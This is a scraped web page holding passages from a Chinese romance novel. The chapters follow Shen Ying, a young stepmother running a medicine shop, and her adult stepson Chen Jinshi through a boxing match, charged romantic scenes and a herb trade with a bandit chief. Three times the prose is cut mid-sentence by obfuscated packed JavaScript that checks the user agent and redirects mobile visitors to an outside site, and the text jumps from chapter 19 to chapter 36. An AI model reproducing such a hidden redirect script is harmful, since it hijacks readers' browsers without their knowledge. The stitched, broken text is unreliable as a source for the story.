沈樱也点头称是:“是啊,谢公子是顶有能耐的一个人,帮我不少忙了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137170|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈锦时脸色骤然变冷,沈樱没顾着看他,只朝他招招手:“陈锦时,过来帮着搬药材,愣着做什么?” “哦,知道了,阿姆。” 他很快走到她身后,伸手接过她手上提着的沉重包袱。 沈樱吓了一跳:“你去搬别的呀,跟我手上抢什么?” 她手肘抵在他胸上,那儿却像个铁板一样,岿然不动。 “我来就行了,你歇着去。” 沈樱无奈:“这么多呢,你一个人哪儿搬得过来。” “你也知道这么多,那你怎的不知道雇两个小工来呢?非得自己忙活。” 他还教导起她来了,沈樱叉着腰气道:“我又不是不能干,我有手有脚有力气的。” 陈锦时刚放下一个包袱,走到她跟前来,瞧她生气的模样,还真可爱。 长高真好啊,长大也真好啊,他俯视着她,轻而易举摸到她的头。 他没摸,只是放肆的,用俯视的眼神跟她说话。 “阿姆,有人帮你干活还不好?你能不能一边儿去坐着。” 白掌柜“嘿嘿”两声,对她道:“二爷这是在尽孝呢,你由着他吧。” 沈樱坐下,陈锦时脸色黑沉。 他一个人能扛两袋。 他到库房躬身放下两袋草药,别过头,扯起嘴角朝她笑了一下。 “阿姆,我一个人能扛两袋,你看见了没有?” 她别过头,不搭理他。 “陈锦时,雇人来搬吧,你有旧疾,不可以这样消耗身体。” 陈锦时垂下头,一时没动作。 其实他这段时日天天都往城郊去,沈樱一直以为他乖乖在书院,一整日都在书院刻苦读书。 他也知道自己不该去,可自从父亲去世以后,他身上那股戾气从骨头缝里往外冒,若不去演武场发泄一番,心里头总有一团火在烧。 只有汗水往下砸,拳脚相撞的痛感袭来,身上那股要噬人的戾气才稍稍褪去。 “阿姆,”他喉结动了动,松了手站起身:“我这就出去雇人。” 尽管他日日都没忘了带药,一有什么不舒服了,就拿定喘散往鼻唇里灌。 可他实在没有脸面再让她为他担心。 只是药库里消耗得越来越快的定喘散还是引起了沈樱的怀疑。 她冷眼看着陈锦时此时的乖乖听话,两个人对坐,少见的,都很安分。 请的小工很快到了,夯吃夯吃在店里忙活起来。 “阿姆想吃点心吗?我去街对面买。” 沈樱轻轻摇头。 “阿姆——” 他往前凑近了些。 “陈锦时,你这几日下学以后在哪儿?” “……” “我真的要生气了。” “阿姆,你怎么舍得对我生气。”语气没有一点祈求或是讨好的意思,声音微沉。 “我不想再管你了。” 她越是这样说,他反而越是往椅背里缩,通过这样的挪移,把视线往她身后放,以便肆意地、无人打扰地观察她: 她唇的开合,面目的冷厉,明明说的是假话,却一定要用这样的口吻。 18.第 18 章 她坐下时,她的脊柱比草原上的胡杨还要直挺,她的腰肢不算太纤细,不是一掌便能覆盖的宽度。 她上身丰腴,但两条胳膊并两条腿都是修长而匀称的,腿尤其长,以支撑她有着超出大部分女子的高度。 他尤能记得小时候她站他跟前所带来的压迫感,不只是身高上的压迫,还有她丰腴胸脯对他唇鼻的压迫,他一度以为自己会就那样窒息而亡。 ……或许那样也并非不可。 但小时候的他总会突然惊醒,并推开她,从此十分警醒,有关于她想杀死他的这件事情。 万一有一种死法叫作被闷死呢? 沈樱并不知道身后的目光有多么放肆,将她从头扫到尾,描摹着她的轮廓。 如果人的视线是一种实质,那么她全身都被他抚摸而过,再某些地方流连不去,反复摩挲,然后张嘴,将她拆吃入腹。 她绝不会误以为,那是一种温柔的注视。 可惜,她毫无察觉。 两人沉默许久,久到她有些不自在,正要回头,看他一眼。 他很快俯身往前,换了一副头脸,祈求道:“阿姆,我错了,你别不管我。” 沈樱喃喃道:“嗯,你下次乖些。” 他站起身:“那我去给你买点心。” 她没有拒绝。 她注视他离开,出了这道门,他穿着青色的长衫,这样的衣料在寻常百姓身上很常见,穿在他身上却平白显出了许多张扬。 后来他买好点心回来,摆在桌上,两人对坐,她一边吃点心,一边翻看脉案,他拿了书本出来看,气氛一时也算和谐。 直到他缓缓开口。 “我不能不去演武场。” 沈樱动作顿了下,抬头看他,她的目光既清冷,又预留了给他解释的余地。 陈锦时难以形容那样的目光,时至今日,他仍不能完全招架。 “阿姆,这是我的本性。” 她垂眸,端起茶杯抿了一口,她的安静让他慌乱。 “三天后我与黑铁比武,这是两年前的约定,阿姆,你能来看吗?” 她终于又抬眸看他,他心如擂鼓。 尽管他早已下定决心,谁也改变不了他的主意。 但他害怕得到她的冷漠对待。 她沉默的几息之间,是他人生中最漫长的时候。 “你为什么一定要去呢?你明知道,你这辈子也成不了你父亲那样的人。”她终于开口,指尖在杯沿摩挲着。 她第一次与他说起这样的话,这样,令他沮丧的话。 冷冰冰的话语就这么往他心里扎,这是他的报应。 “因为阿姆,你看了谢清樾的肌肉和身体。” 沈樱一愣:“这两件事有何关联?”他又是如何知道她看到的。 陈锦时又道:“陈锦行也常常能帮上你的忙……” 沈樱大抵明白了。 她抬眼认真看他:“陈锦时,你不用跟任何人比。” 陈锦时质问:“是不用比,还是比不过?” 那双闪烁着异样光泽的眸子,始终注视着她。 她如果回答错误,或是没有把他哄好…… “你长得很好,远比你哥哥要英俊,尤其是手和腿,都是十分优越的修长……” 他别开头,在她的视线下逐步退缩,红透了脖颈和耳根。 “真的吗?” 她笑,是他非要逼问,她说了,他反倒不好意思起来。 她越笑,他刚才还步步紧逼的眸子,便撤开了,扭过头,看向别处。 她又道:“我会去看你跟黑铁比武,不过在这次过后,你必须回书院好好读书了。” 陈锦时抬头,撞进她眼底,她似笑非笑,目光融融,轻轻柔柔裹过来。 让他从心口蔓延到耳根些微的痒,再也不敢直视她,一埋头,目光落到她胸脯上,避开她目光的同时,他想找个什么东西埋进去。 陈家撤了白幡,日子恢复如常,都是做生意的人家,不可能当真守孝三年。 沈樱接触了几家夫人,这两日空闲便挨个上门拜访,现在替陈锦行定好亲,三年后正好过门。 晚饭时,她询问起陈锦行的意向,陈锦行只说都听她的。 沈樱心里也有一番计较,除了要门当户对以外,对方还必得是能支撑起门楣的持家好手。 且不说大房如今没个长辈在,上头老太太却还在,又有个惯常爱挑事情的二太太,小叔子陈锦时又很是难管,手段一般的女子嫁进来,只怕摆不平这家务事。 至于小姑子陈锦云,又会体贴人,又乖得很,倒算陈锦行亲事里的加分项。 这天沈樱巡视完铺子,回到府中,整理许久未打理过的园子,专注打量每一根枝条,拿剪子挨个剪除枝丫,陈兴媳妇拿着扫帚在一旁扫除落叶和残花。 陈锦行从书院里回来,长得板板正正一个人,见她在园子里忙活,忙走近了,拍她的肩。 沈樱蹙眉回头:“做什么?” “明日酉时,你别忘了。” 她回过头继续修剪枝丫,淡淡道:“知道了。” 见她蹲在花圃里,陈锦时过去与她并肩蹲下。 “你就没什么要嘱咐我的?” 沈樱拢起几根枝丫打量高矮,“不管输赢,命最重要。” “那不行,我死也要赢。” 他单手撑着头,歪着看她,带着挑衅。 沈樱脸色一变,伸手拧他脸颊:“你敢。” 他握住她的手,谄媚笑道:“说错了,我说错了,我的意思是,我一定会赢。” 她看他咧嘴笑,露出八颗白牙,没好气地白了他一眼,站起身,拿起剪子回房。 陈锦时连忙跟上:“阿姆,阿姆等等我。” 她进了屋,正要关门,他抵在门框上,岿然不动。 她推了两下,他一身肉跟铁板一样,她警告他:“陈锦时,你要做什么?” “你今天对我怎么这么冷淡。” 她想起为陈锦行说亲的事情,越想越恼陈锦时,可不就冷他么。 现在问起来她心虚,趁着机会,陈锦时一闪身,进了她的屋。 他坐在她的椅子上,用她的茶杯喝茶,又拿她的手帕擦嘴。 沈樱见怪不怪,把屋里的糕点端出来给他吃。 “你慢点吃,急什么。” 他单手拿着桂花糕,翘着二郎腿,悠哉悠哉往嘴里送。 她意识到自己不该对他冷淡,陈锦时也没做错什么。 便与他温柔着:“今天下雨,你冷不冷?” 陈锦时摇头:“我身体好着呢,一点也不冷。” 她拿手帕擦擦他嘴角的碎屑。 他忽然道:“阿姆,你好久都没做过衣服给我穿了。” 沈樱摇摇头:“我没那功夫给你做,你乖些,等锦行……罢了,你自己也快到该娶妻的年纪了,到时候自然有人给你做。” 他捉住她的手:“其他人做的,跟你做的,那怎么能一样?” “有什么不一样啊?” 她歪着头问他,声音温柔到了极致,又是那种能将他完全包裹住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145213|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光,就像是小时候睡在她的被褥里,埋在她的胸脯里。 她怎么这么温柔。 他心头发软,咀嚼点心的牙,动作都放慢了。 “妈妈。” 他喃喃道。 “嗯?” 声音太轻,她没听清。 她又伸手擦他嘴角的碎屑,做了千百次的动作,娴熟而自然。 她越是温柔,他心底反而越是升起一种愤怒,她那么温柔的一双唇,能不能含住他。 张张合合的,说什么呢。 他舌尖探出,舔了下嘴角,她恰好垂下头,撤回手。 …… 残阳把黄土染成褚红,晚风卷着沙砾,砸在地上噼啪作响。 沈樱是旺儿陪着来的,沙场外的平地上支了把伞,又搭了桌椅,摆了茶点。 旺儿请她坐下:“姑娘,这可都是我们少爷亲自准备的。” 沈樱颔首,抬头望去,还不见陈锦时的身影。 她又问:“哪个是黑铁。” 旺儿哆哆嗦嗦指向场中那个刚灌了一坛烈酒下肚的,长得跟一座铁矿似的男子。 黑铁灌下一坛子酒,甩手一扔,酒坛子砸在地上四分五裂,“咔嚓”一声响。 他的皮肤是深褐色,身上肌肉虬结,分布得张牙舞爪,脖颈上青筋如老树盘根,随着粗重得呼吸突突跳动,背宽得能跑马,攥着刀柄的手骨节粗大,看上去比铁甲还硬。 沈樱倒吸一口凉气。 就是见惯了他家少爷打架的旺儿,看着黑铁也哆嗦,他还瞧见沈姑娘捏着茶杯的手在轻轻发颤,别看她装作淡定。 “你是说,陈锦时要跟他打?” 旺儿点头:“是啊,沈姑娘,要不,你去跟那黑铁打声招呼,叫他待会儿下手轻些。” 局是陈锦时私底下约的,就当是小孩子不懂事,沈樱一个做长辈的,有权要求黑铁放水,今天这局就当是哄孩子玩儿。 道理是这么个道理,但前提是把陈锦时的尊严先往一边放。 沈樱摇头:“旺儿,比武就是比武,哪有放水一说。” 旺儿也是担心他家少爷的安危,眼睛鼻子都皱在一块儿了:“尊严重要还是命重要……” 沈樱笑道:“必要的时候,他自己知道该怎么认输,话绝不能由我来替他说,如果我提前去与黑铁打招呼,他就算不记恨我,就算赢了,心里也会遗憾一辈子。” 陈锦时出来了,沈樱蹙眉看去,他一见着她,双眸发亮,目光像淬了火的箭,直直射向她。 她一愣,捂着胸口发怔。 他远远站定,胸膛微微起伏,像头蓄足了劲的小豹子。 沈樱的视线在他和黑铁之间来回倒腾,张了张嘴,最终什么也没说。 他看起来真的很像能被黑铁轻松拎起来的样子。 一个是黑熊,一个是白兔。 能行吗? 她正怔愣着,陈锦时忽然转身,背对着她,脱下了上衣。 衣领从肩头被挎到腰上,他皮肤偏白,肩胛处的肌肉随着动作贲张起来,藏着一股随时能掀翻什么的蛮力。 她双唇微张,他转过身,她看到他结实紧致的腰腹,腰线肌理绷得恰到好处。 既不像黑铁那般恐怖粗莽,也不似未经打磨的生涩。 他朝她狡黠的笑,眼里的光更盛了,得意至极。 沈樱读懂了一些: 他早已不是那个讨人嫌又爱闯祸的小孩儿,他是一个强壮有力的男人。 并且有着紧实而优美的手臂、腰腹,和肌理完美的肩背。 19.第 19 章 她屏住呼吸,场边土坡挤满了看客。 有人大喊:“陈二爷!别太自信,两年前黑铁就让着你呢。” 两年前二人看似不分胜负,因陈锦时发病而勉强平手,当时比试开始前周围人都劝黑铁:“陈将军的儿子,让着点他。” 至于黑铁究竟有没有故意让,只有他自己清楚。 风忽然停了,空气里全是汗味、铁器的腥气,沈樱皱着鼻头,很不舒服。 两人仍是赤手空拳的比试,不拿兵器,拳拳到肉。对于体型相差过大的两个人来说,这显然对陈锦时更不利。 黑铁像座移动的山,砂锅大的拳头带着破风的劲,直逼陈锦时面门。 沈樱下意识攥紧了袖口,指尖掐进掌心。 陈锦时是只灵活的猎豹,借着矮伸避开的势头,整个人贴着黑铁的臂膀滑过去,手肘狠狠撞向对方软肋。 这一下又快又狠,可黑铁只是闷哼一声,反手就抓住了他的后领,跟拎小鸡似的将他往地上掼。 “砰”的一声,陈锦时后背重重砸在地上,他快速翻身而起,望向沈樱的方向。 旺儿已经蒙着眼睛不敢看了,沈樱直直注视着,不闪不避。 黑铁的拳头又带着千钧之力砸来,陈锦时借着侧身的弧度,硬生生受了这一击。 沈樱听见他的闷哼声。 他被激怒,非但不退,反而欺身而上,手肘牢牢勾住黑铁的脖颈,窒息的危险感铺天盖砸下来,黑铁开始晕眩。 “砰”的一声闷响,他被黑铁甩到栏边,脊背撞在木柱上,唇角渗出血丝。 沈樱拧起眉头,看他胸腔起伏的弧度,他已经开始发病了。 他的小臂因充血而更加粗壮,汗珠从鼓囊的胸膛出滚下,顺着紧实的线条滑进腰腹。 光裸的脊背绷紧如拉满的弓,新的一轮开始了…… 被黑铁掐住后颈按向地面时,他双腿绞住对方的膝盖,一个反转将人带得踉跄。 场边响起低低的抽气声,他对沈樱扬起下巴,目光灼热得要烧死人。 黑铁又是一拳挥来,沈樱捏紧拳头,屏住呼吸,她一直在数他的呼吸节奏,计算他还能撑多久。 旺儿一边遮住眼睛,一边咂嘴道:“少爷若是没病,早能把黑铁打趴下了,可他偏偏有这病,你说他何必非要跟人比武呢。” 沈樱道:“不怪他,这是他的天性。” 陈锦时半跪在地,指节抠进黄土里,方才硬接的一拳让他肋骨生疼,更何况他已经陷入半窒息状态。 黑铁大步上前,伸手就要拎他的后领,就在这一瞬,陈锦时猛然弹起,爆发出巨大的力气,扣住赌坊的手腕,右手攥成拳,借着转身的惯性,狠狠砸向黑铁膝盖后方的筋络。 黑铁闷哼一声,膝盖一软,庞大的身躯竟踉跄着下沉,陈锦时骑在他背上,手肘死死压住他后颈。 黑铁挣扎了两下,但陈锦时的臂膀已牢牢锁住了他的脖颈,他纵是有再大的力气也施展不出来。 “认输吗?” 他的声音喘得厉害,沈樱从袖中拿出药,随时准备喂给他。 “我认输。” 陈锦时松开他,顿时瘫软在地上。 沈樱拿着药扑过去:“时哥儿!” 陈锦时仰着头,大口大口呼吸着,他安慰她:“阿姆,我还行,还能喘气。” 沈樱倒出一颗丸药往他嘴里塞,又取下自己腰间挂着的羊皮水壶,托他起来,背抵在他腿上,给他喝水。 他接过她的水壶灌了一大口。 “我都说了,阿姆,我没事。” 她听他呼吸很快变得顺畅,说话的声音也中气十足,才放下心来。 “你刚刚把我吓坏了。” 她又从自己腿上放下他,他瘫下去,仰躺在地,扬着下巴问她:“你怕什么?怕我死啊。” 沈樱伸手捂住他嘴:“别胡说。他那一拳,能把你肋骨砸断。” 他拉下她放在他嘴上的手,往下移。 “不会,我胸肌厚着呢。” 她一愣,手掌已瘫在他胸膛上了。 左边的那一个,还有心跳,手感肥厚劲道,有弹性,乳投支棱着,淡粉色,随着心跳跳动。 心跳得十分用力,震得她掌心发麻。 她要离开,他却握住她手腕,她目光缓缓挪移到他脸上,他挑眉,眼里发着张扬又无谓的光。 哦,她知道了,他又在捉弄她。 她脸色一变,试图抽回手,他仍然牢牢按着,目光灼灼地盯着她。 她忽然有种无路可退的感觉。 —— 她强行抽回手,站起来。 “陈锦时,你先起来把衣服穿上。” 他站起身,胸膛逼近她:“阿姆摸好了吗?” “什么?” “摸好了我就去穿衣服。” 她拧眉看他:“这又是什么话?” 难不成要她回答他:“我摸好了。” 这好奇怪。 “那我问你,我跟谢清樾比,谁的胸肌大。” “……” 她不回答,他挺着两个胸在她跟前晃,越逼越近。 她咬着牙:“陈锦时。” 他浑然未觉,贴上她的手臂。 她认输:“陈锦时的更大。” 得了这话,陈锦时微笑着撤退:“我去穿衣服,阿姆,你坐那儿去等我。” 他指了个方向,正是她刚刚坐的那里。 她回到这里坐下,垂眸,灌了杯凉茶下肚,浑身燥热。 两人一起回家时,天已擦黑,他肩上扛着她的水壶,有一搭没一搭地与她说着话。 “你背上有些伤,回去让旺儿给你涂点药。” “哦,旺儿笨手笨脚的,还是你给我涂吧。” 沈樱叹气:“你都长大了,我不好再……” “可你刚刚还摸了。” “……那好吧。” 回到家,厅堂里灯火通明,陈锦行迎上来:“阿姆。” 沈樱朝他轻轻点头,陈锦行的目光落在陈锦时身上,眉头微蹙:“听说你打赢黑铁了?” 陈锦时往主位的椅子上一坐,扬着下巴轻点:“是啊。” 陈锦行眼眸淡淡往下瞥,扫视了他几眼,又冷冷问道:“没受伤吧,胳膊腿都还完好?” 陈锦时摇头,拎起桌上的水壶就要倒水喝。 沈樱连忙拦住,拿过水壶:“还是喝点热的吧,我去烧水。” 陈锦时拉住她:“你别去,陈兴媳妇呢,叫她来。” 沈樱抽出手:“大晚上的,人家都歇了,我去吧。锦行,你给他把个脉看看。” 陈锦时慢悠悠把手腕掏出来,放搁在桌上,朝陈锦行使眼色:“来呀。” 陈锦行看着弟弟,无奈摇了摇头,在他对面坐下,指尖搭上他的脉,细心诊断。 过了一会儿,他收回手,面无表情道:“五脏俱损,活不长了,准备遗言吧。” 陈锦时脸色一变:“哥哥,你说的是真的?”黑铁那一拳当真有那么大的威力?陈锦时自己心里也没底。 陈锦行没搭理他,不一会儿,沈樱提着茶壶走进来,问道:“怎么样?他没事吧。” 陈锦行还没答话,陈锦时脸色煞白:“阿姆,阿姆,你再多爱我一点吧,再多爱我……” 沈樱不明所以,他搂住她腰,头埋进去,一边哭一边嚎。 她捏住他手腕,抵在桌上,斟酌了一会儿脉象,一把推开他:“陈锦时!别发癫。” 陈锦时被她推得倒在椅背上,捂住胸口,眼神委屈,喃喃道:“沈樱,你不能这样对我。” 陈锦行笑起来,指着他道:“陈锦时,我还以为你真不怕死呢,你说那黑铁怎么没一拳抡死你。” 陈锦时站起身:“陈锦行你敢戏弄我!” 他扑上去锤他,陈锦行连连避让:“君子动口不动手。” 沈樱一爪拎住陈锦时后衣领,陈锦时满是愤懑地回头看她:“沈樱,你拦我做什么?你又站在别人那头?” 沈樱道:“坐下,说正事。” 陈锦时顿时偃旗息鼓,狠狠瞪了陈锦行一眼,往椅背上一靠,跟个大爷似的坐了。 “什么事?你说。” 陈锦行对刚才陈锦时那句“别人”不置可否,隐晦地瞥了眼沈樱,见她也没有反驳的意思,他心里难免有些失落。 两兄弟都坐下,自觉让出主位,沈樱一时没坐,倚在桌边站着道:“第一件事,锦行,过两日我陪你去张家相看,若是可以,就直接定下来。” 陈锦行怔了怔,点头:“好。” 沈樱见他没有意见,又转头看向陈锦时。 “我从断云寨大当家手里订了批药材,明天交货,陈锦时,你跟我去一趟。” 这话说得她怪不自在。 陈锦行立刻站起身道:“不行,阿姆,有什么药材别处进不到?实在有缺的可以从我那儿调,断云寨那是什么地方……” 沈樱盯着他:“锦行,这件事情你不要管。” 陈锦行闭上嘴,他没有资格违逆她。 陈锦时站起身,神情倨傲:“阿姆,我跟你去就是。” 她手背敲了敲陈锦时的胸膛板子:“你先坐下。” 她又转向陈锦行,解释道:“断云寨的大当家是个很讲信用的人,我与他通过信,只是正常生意往来,你不用担心什么。” 翌日一早,沈樱带着陈锦时出发,另外还有几个请来的小工,到时候负责搬货。 陈锦时掀开马车车帘,伸手扶她:“阿姆,你先上。” 陈锦行跟在后面,脸上满是不放心,反复嘱咐道:“阿姆,千万小心,有什么不对就先回来,药材的事情总有办法。陈锦时,你别给她惹麻烦!” 陈锦时面容沉稳,朝陈锦行摆摆手:“你少管闲事。” 沈樱撑着他的手坐进去,陈锦时在前面打马,后面还跟了三辆空车。 马车轱辘碾过街道,发出规律的颠簸声,缓缓出了城。 她从包袱里拿出药材清单查看,都是柜上急需的几味药材。 “阿姆,冷不冷?”陈锦时的声音从车外传来,带着些风声。 她声音淡淡,头也没抬:“不冷。” “阿姆,你昨晚给我涂的药很有用,今天好多了。” “嗯,那是我老家的方子,治跌打损伤都有奇效。” 他一条腿支在车板上,一条腿耷拉着。 “阿姆,前面路过一家茶店,咱们下去吃些东西吧。” 里头的声音冷冷淡淡的传出来:“不用,继续赶路。” 她不怎么搭理他,陈锦时也不恼,他赶车很稳。 半日路程,车马到了断云寨。 断云寨的大当家秦断河就站在山门等她,她松了一口气,看来不用进去,交割只需在寨门外完成。 陈锦时手攥着腰后匕首,满眼警惕,半个身子都挡在沈樱跟前。 “沈老板,你要的药材都在这里了,你清点清点。” 秦断河扬手示意,几个汉子掀开竹筐上的油布,露出底下码得整整齐齐的药材。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149512|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈樱走过去,靠近那些持刀的汉子,陈锦时立刻跟上来,寸步不离。 “这批当归都是崂山来的头茬货,我特地给沈老板留的好品相,你看如何?” 沈樱手捻起药材闻了闻,又掰断一小截看断面,根茎肥硕,泛着油亮的黄白,的确是上等货。 她点点头,笑意温温的:“大当家有心了。陈锦时,拿银子去。” 陈锦时没挪脚,先往寨门里瞥了眼,换了个姿势,手仍按在刀鞘上,倒着走回到马车上取银子。 秦断河却忽然道:“沈老板,你是识货的人,这次我也没想到能捞到这样的货,当初谈好的价……” 陈锦时登时撂下银子,空手从马车上下来,逼近他:“你有没有信用,还敢坐地起价?” 秦断河没把一个毛都没长齐的小子的敌意放在眼里,只看着沈樱:“沈老板,怎么说?” 虽说断云寨的货的确比她想象中要好,但做生意有做生意的规矩,事先谈的是什么价,交割的时候就该是什么价。 秦断河不是正经生意人,自然可以不讲信用。 但沈樱也不想白白多掏银子。 她笑道:“大当家,做生意讲究有来有往,最重要的便是信用,这次交易成了,下次咱们再交易,何愁没有更多的钱赚呢?” “沈老板,我也想与你交好,只是这批货的本钱,确实比当初估的高了三成。”秦断河目光在她脸上转了两圈,为难道。 沈樱还没开口,朝陈锦时使眼色,陈锦时立刻接话:“本钱高是你的事,别拿本钱说事,做生意有亏有赚本也是应该的。” 沈樱作势拉他:“大当家,时哥儿性子急,你别往心里去。” 秦断河这才把目光落到他身上去:“沈老板,你跟前这位是?” 沈樱把他拉到身后:“是我儿子。” 秦断河面露惊讶,上下打量她:“你什么年纪?竟有这么大的儿子了。” 沈樱笑道:“不是亲的,收的义子。” “原来这毛头小子是你儿子,沈老板,你倒有个有孝心的好儿子,瞧瞧,年纪不大,口气倒狂。”秦断河哈哈大笑。 陈锦时叉着膀子道:“阿姆,你别跟他废话,这次生意做不成,咱们原封不动把银子再拉回去就是了。” 秦断河身边的刀疤脸沉了脸:“我断云寨岂是你想来就来,想走就走的!”那刀蹭的一下就出鞘了。 沈樱忙摆手:“有话好好说,有话好好说呀,时哥儿性子急,你别跟他计较。” 秦断河也制止刀疤脸,朝沈樱温声道:“算了,这次的好货就当我卖沈老板个好,咱们下次好再合作。” 沈樱微笑:“我知道大当家最讲信用,要不我一个弱女子,也不敢来这里。” 说完,她抬手叫来小工:“搬货吧,动作快些,咱们要赶在天黑之前回去。” “沈老板不留下来吃个午饭?我们断云寨刚杀了猪。”秦断河挑眉,似笑非笑道。 沈樱暗暗瞥了陈锦时一眼,陈锦时站出来道:“你这儿荒山野岭的,有什么好吃的,阿姆,咱们说好今儿办完事去香满楼吃小笼包的,你可不能出尔反尔。” 沈樱面朝秦断河,一脸为难:“你看这……孩子想吃,我也没办法。” …… 两人坐在回程的马车上,陈锦时坐在前面赶马,一脸阴郁。 “就该听我哥的,你没事来这地方做什么?那秦断河都快把你盯穿了。” 沈樱拿算盘拨着,正在记账,淡淡道:“人长在这儿不就是让人看的吗?只要目的达到了就行,你哪儿来那么多话。” 陈锦时黑着脸,回头看她:“你说的一个唱红脸,一个唱白脸,搞半天我陈锦时就起了这么点作用?” 她抬起头来白他:“不然呢,你还当真要跟他们打一架?” 他把拳头捏得嘎吱响:“我正有此意。” “惹事精。”她极小声地骂了一声。 陈锦时耳朵动了动,“你说什么?” “没什么。” “我听见了,沈樱。” 沈樱抬起头,对上他黑漆漆的眼,道:“小祖宗,我说的是小祖宗。” 他嘴角噙着笑,凶巴巴的架势散了大半,她竟然从他的笑容里看出些宠溺来。 他宠溺谁?她吗? 他扭回头,继续赶车,声音伴着风声传进来:“沈樱,你下次有什么事,我还帮你摆平。” “知道了。” 两人一路进了城,在香满楼下了马车。 “不是说想吃小笼包吗,陈锦时。” 她朝他努努嘴,叫他拿着菜单随便点。 他随手点了几个菜,都是她爱吃的。 两人对坐着,磕了会儿瓜子。 “怎么不多点些?”她温声问道。 “给你省钱。” 她嗔他一眼:“给我省什么钱?我还没到克扣你几道菜的地步。” 说着,她扬手叫来伙计,又加了几道陈锦时平常爱吃的菜。 “再来一道酱烧陈皮肘子,一道油焖大虾,一道葱爆羊肉,一道八宝鸭………还有什么想要的吗?陈锦时。” 陈锦时定定看着她两片红润唇瓣一张一合地与那伙计说话,给他加了菜。 “阿姆,你这里脏了。”他忽然道。 她迟疑着看他,看他的手伸过来,一直伸到了她唇边。 她不明所以,“哪里?” 他伸手去擦,大拇指从她唇上划过。 ——好想探进去。 …………………… 35-40 第36章 陈锦时好像在笑,他的呼吸极重打在她唇上两下。 搔得她脊柱发酥。 她睁开眼,他正注视着她。 她目露疑惑,不是要亲吗?亲呀!她等着呢。 想着这地方随时有人经过,沈樱心里慌得不行,她瞪了他一眼:“陈锦时,你到底要做什么?” 陈锦时凑近她鼻尖,蹭了蹭。 又是这个动作。 她耳尖腾地红了,忙别过脸,轻声道:“不要,你要的话,自取。” 陈锦时也不动,只这么抵住她,呼吸在她颊边拂上拂下,拂左拂右。 沈樱的心跳越来越快,只能转过头,飞快地往他唇上印了一下。 陈锦时松开她手的刹那,她转身跑开,一溜烟地跑远了。 他盯着她的背影,伸手抹了下唇,倚着门框,像个痴汉,喃喃道:“没吃饱啊,怎么办呢?” 沈樱快步走出去很远,直到出了府,走到街上,她今日没有乘马车,她必须待在一些敞亮的地方,得以畅快的呼吸。 她今日穿了件软绸的夹袄,浅粉色的,下面配着一条烟灰色的百褶裙,裙边上滚着碎花边,裙摆随着她大步的脚步唰唰拂过路边。 街上正是热闹的时候,几个脸熟的邻居见了她打声招呼:“沈姑娘早啊。” 沈樱脸上热热的,原本脚步飞快,听着人给她打招呼,脚步不自觉放慢了些,眼角眉梢稍稍松快下来,眉眼弯弯地回礼:“刘婶儿,今天出摊这么早啊。” 刘婶儿笑着应道:“早出来摆开摊子,能多做几笔生意嘛。” 话音刚落,旁边的包子铺也出摊了,见了她扬声招呼道:“沈姑娘,要不要来两个热乎的肉包?刚出笼的,香得很!” 沈樱停下脚步,蒸笼里的热气腾腾地往上冒,混着油香漫过来,再看那蒸笼里的大包子,白花花、油嘟嘟的。 她心里那点七上八下的心情好像冲淡了些,她点点头:“好,我要这两个。” 她指了指皮上已经浸出油的两个包子,早上一家人忙着送谢清樾,也没好好吃过饭。 接过油纸包着的包子,她指尖烫得缩了两下,来回倒腾着把包子抱在怀里,又多给了银子过去:“再往我府上送上一笼,我家二公子也还没吃早饭呢,我这就先到铺子里去了。” 那摊贩收了银子,手脚麻利地打包:“得嘞,您放心吧,保准让您家二爷吃到热乎的。” 沈樱一边啃包子,脚步慢下来,沿着街边慢慢走,看孩童追着蝴蝶跑过,看老人们坐在河边聊天,她心里的那点慌乱早就无影无踪了,渐渐化成了一丝说不清道不明的甜,那一丝丝甜意,使她嘴角逐渐上翘,脚步变得轻快。 只一回想起陈锦时凑近时的眉眼、陈锦时极具攻击的压迫、陈锦时滚烫温柔的吻,耳尖又腾地红起来。 顶着脸上的两团红晕,沈樱迈过了自家药铺的门槛。 白掌柜见了她,笑道:“东家这是遇到这么喜事了?” 沈樱一愣,手背贴了贴脸颊:“没什么。” 白掌柜道:“我瞧您今儿红光满面的,府上必是要有大喜临门了。” 沈樱瞥了他一眼:“就你会说,陈家还不就那么两样事。放心吧,下月少不了你的喜酒喝。” 白掌柜嘿嘿笑着,忽然想起什么:“对了,今早有位夫人来抓调理气血的方子,我按你先前说的法子问了问症状,都记下了,你要不要过目?” 沈樱摇摇头:“不用。” 正说着后院传来伙计的吆喝声,说是晾晒的草药该翻了,正吆喝人过去干活。 沈樱听了,提起裙摆就要去:“我得看着点,别让他们把我晒的金银花翻坏了。” “都慢着点,这东西晒干了极容易碰碎。” 说着便走过去,亲自踩着小板凳把竹匾抱下来。 